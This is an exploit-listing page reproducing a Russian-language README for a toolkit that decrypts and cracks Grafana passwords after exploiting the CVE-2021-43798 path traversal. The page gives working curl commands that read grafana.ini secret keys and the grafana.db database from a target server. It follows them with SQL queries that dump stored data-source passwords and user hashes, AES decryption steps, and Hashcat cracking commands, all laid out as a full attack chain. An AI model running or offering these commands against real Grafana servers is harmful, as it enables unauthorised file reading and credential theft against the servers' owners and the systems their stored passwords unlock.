Sploitus

Exploit for Grafana-Password-Decryptor

kitploit · 2026-09-01

Exploit Code

MARKDOWN210 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-STRIKODER-PREMIUM-GRAFANA-PASSWORD-DECRYPTOR
# Grafana Password Decryptor

Python-инструментарий для расшифровки и взлома паролей Grafana из различных форматов.

**Автор: strikoder**

## Что делает этот инструмент?

Обрабатывает **два типа** хранения паролей Grafana:

  * 🔐 **AES-256 Base64** (таблица data_source) → **Прямая расшифровка с помощью AESDecrypt.py**
  * 🔨 **PBKDF2_HMAC_SHA256** (таблица user) → **Конвертация для Hashcat с помощью grafana2hashcat.py**



Идеально подходит для пост-эксплуатации после CVE-2021-43798 (path traversal).

## Что такое CVE-2021-43798?

Уязвимость path traversal в Grafana версий **8.0.0-beta1 – 8.3.0** , позволяющая **неавторизованным злоумышленникам** читать произвольные файлы на сервере, включая:

  * Файлы конфигурации (`/etc/grafana/grafana.ini`)
  * Файлы базы данных (`/var/lib/grafana/grafana.db`)
  * Системные файлы (`/etc/passwd`)



**Пример эксплуатации:**

root@kitploit:~
    
    
    curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
      --path-as-is --output grafana.db
    

Этот инструментарий завершает цепочку атаки, **расшифровывая/взламывая пароли** , извлечённые из базы данных.

## Включённые инструменты

### 1\. AESDecrypt.py

Расшифровывает пароли, зашифрованные AES-256, из таблицы `data_source`.

**Основан на:** jas502n/Grafana-CVE-2021-43798 с ключевыми улучшениями:

  * ✅ **Гибкий секретный ключ** : Извлекайте ключ вручную (без жёстко заданных путей)
  * ✅ **Пакетная обработка** : Расшифровка нескольких хешей из файла
  * ✅ **Полностью настраиваемый** : Все параметры через аргументы командной строки



### 2\. grafana2hashcat.py

Преобразует хеши PBKDF2_HMAC_SHA256 Grafana из таблицы `user` в формат, совместимый с Hashcat, для взлома паролей.

**Автор:** iamaldi/grafana2hashcat

## Установка

root@kitploit:~
    
    
    git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
    cd Grafana-Password-Decryptor
    pip install cryptography #для расшифровки
    chmod +x AESDecrypt.py grafana2hashcat.py
    

## Использование

### Инструмент 1: AESDecrypt.py (для паролей AES-256 Base64)

#### Расшифровка одного хеша

root@kitploit:~
    
    
    python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
    

#### Расшифровка нескольких хешей

root@kitploit:~
    
    
    python3 AESDecrypt.py -f hashes.txt
    

#### Использование пользовательского секретного ключа

Извлеките секретный ключ из конфигурации Grafana:

root@kitploit:~
    
    
    curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
    
    python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
    

### Инструмент 2: grafana2hashcat.py (для хешей PBKDF2)

#### Преобразование одного файла с хешами

root@kitploit:~
    
    
    python3 grafana2hashcat.py grafana_hashes.txt
    

**Формат ввода** (`grafana_hashes.txt`):

root@kitploit:~
    
    
    hash1,salt1
    hash2,salt2
    hash3,salt3
    

**Вывод** (готов для Hashcat):

root@kitploit:~
    
    
    sha256:10000:base64_salt:base64_hash
    

#### Сохранение в файл

root@kitploit:~
    
    
    python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
    

#### Взлом с помощью Hashcat

root@kitploit:~
    
    
    hashcat -m 10900 hashcat_hashes.txt wordlist.txt
    

* * *

## Полный пример эксплуатации

### Сценарий 1: Пароли, зашифрованные AES (таблица data_source)

root@kitploit:~
    
    
    # 1. Извлеките секретный ключ из grafana.ini (в некоторых случаях может быть пустым, тогда используйте ключ по умолчанию из Python-программы)
    curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
      --path-as-is | grep secret_key
    
    # 2. Скачайте базу данных
    curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
      --path-as-is -o grafana.db
    
    # 3. Извлеките зашифрованные AES пароли из таблицы data_source
    sqlite3 grafana.db "SELECT name, password FROM data_source;"
    
    # 4. Сохраните пароли в файл (по одному в строке)
    # Пример: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
    
    # 5. Расшифруйте с помощью извлечённого секретного ключа
    python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
    

### Сценарий 2: Хеши PBKDF2 (таблица user)

root@kitploit:~
    
    
    # 0. Скачайте базу данных
    curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
      --path-as-is -o grafana.db
    
    # 1. Извлеките хеши паролей PBKDF2 из таблицы user
    sqlite3 grafana.db "SELECT login, password, salt FROM user;"
    
    # 2. Отформатируйте хеши для grafana2hashcat (формат hash,salt)
    # Пример формата в grafana_hashes.txt:
    # 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
    
    # 3. Преобразуйте в формат Hashcat
    python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
    
    # 4. Взломайте с помощью Hashcat (режим 10900 = PBKDF2-HMAC-SHA256)
    hashcat -m 10900 hashcat_hashes.txt rockyou.txt
    

## Краткая справка: какой инструмент использовать?

## Авторство

  * **AESDecrypt.py** : Разработано strikoder на основе реализации jas502n на Go
  * **grafana2hashcat.py** : Создано iamaldi



* * *

⭐ **Полезно? Поставьте звёздочку!**

**Разработано strikoder**